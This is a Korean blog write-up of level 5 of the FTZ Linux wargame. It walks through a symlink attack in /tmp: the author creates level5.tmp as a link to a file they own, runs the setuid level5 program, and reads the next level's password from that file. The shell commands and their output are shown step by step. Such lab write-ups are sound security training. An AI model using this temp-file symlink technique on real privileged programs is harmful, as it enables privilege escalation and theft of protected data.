[FTZ] Level 5

Sisyphus·2022년 7월 14일

FTZ

목록 보기
15/30
[level5@ftz level5]$ ls
hint  public_html  tmp
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

hint를 출력하니 level5 프로그램을 실행시키면 level5.tmp 파일이 생성된다고 합니다. 일단 실행시켜서 확인을 해보겠습니다.


[level5@ftz level5]$ cd /tmp
[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -l
total 0
srwxrwxrwx    1 mysql    mysql           0 Jul 15 07:23 mysql.sock

tmp 디렉터리로 이동해서 ls -l 명령어로 확인해보자 level5.tmp 파일이 없습니다.

level5 프로그램이 tmp 파일을 생성하고 사용하고 삭제하고 프로그램이 종료되는 거 같습니다.

⇾ 프로그램 실행속도가 너무 빨라서 삭제되기 전에 tmp파일을 보는 것은 힘들기 때문에 심볼릭 링크를 사용해보겠습니다.


*심볼릭 링크*

파일의 이름을 가리키는 링크입니다. 심볼릭 링크 파일을 수정하면 타겟 파일도 동일한 내용으로 수정됩니다.


level5 프로그램이 생성하는 임시파일과 동일한 이름의 level5.tmp 심볼릭 링크를 생성하여 빈 파일에 연결하겠습니다.

[level5@ftz tmp]$ touch temp
[level5@ftz tmp]$ ln -s temp level5.tmp
[level5@ftz tmp]$ ls -l
total 0
lrwxrwxrwx    1 level5   level5          4 Jul 15 07:55 level5.tmp -> temp
srwxrwxrwx    1 mysql    mysql           0 Jul 15 07:23 mysql.sock
-rw-rw-r--    1 level5   level5          0 Jul 15 07:55 temp

temp라는 빈 파일을 만들고 temp 파일에 level5.tmp라는 심볼릭 링크를 연결하였습니다.
ls -l 명령어 입력해보면 -> 로 링크가 제대로 연결된 것을 확인할 수 있습니다.


이제 level5 프로그램을 실행시키면

  1. level5 프로그램은 tmp 디렉터리에 level5.tmp 파일을 생성하게 되는데 이미 level5.tmp 파일이 있기 때문에 심볼릭 링크 파일에 데이터를 쓰게 됩니다.

  2. level5.tmp 심볼릭 링크 파일에 데이터가 기록되면 연결되어 있는 temp 파일에도 동일한 데이터가 기록되게 됩니다.

  3. cat 명령어를 통해 temp 파일을 출력하면 level5 프로그램이 생성한 level5.tmp 파일의 내용을 볼 수 있게 됩니다.


[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ls -l
total 4
lrwxrwxrwx    1 level5   level5          4 Jul 15 07:55 level5.tmp -> temp
srwxrwxrwx    1 mysql    mysql           0 Jul 15 07:23 mysql.sock
-rw-rw-r--    1 level5   level5         31 Jul 15 07:56 temp

level5를 실행시키고 ls -al 명령어를 사용하니 temp에 level5.tmp 파일 내용이 기록되어 파일 용량이 늘어났습니다.


[level5@ftz tmp]$ cat temp
next password : what the hell

temp 파일 내용을 출력해보면 패스워드가 출력됩니다.

0개의 댓글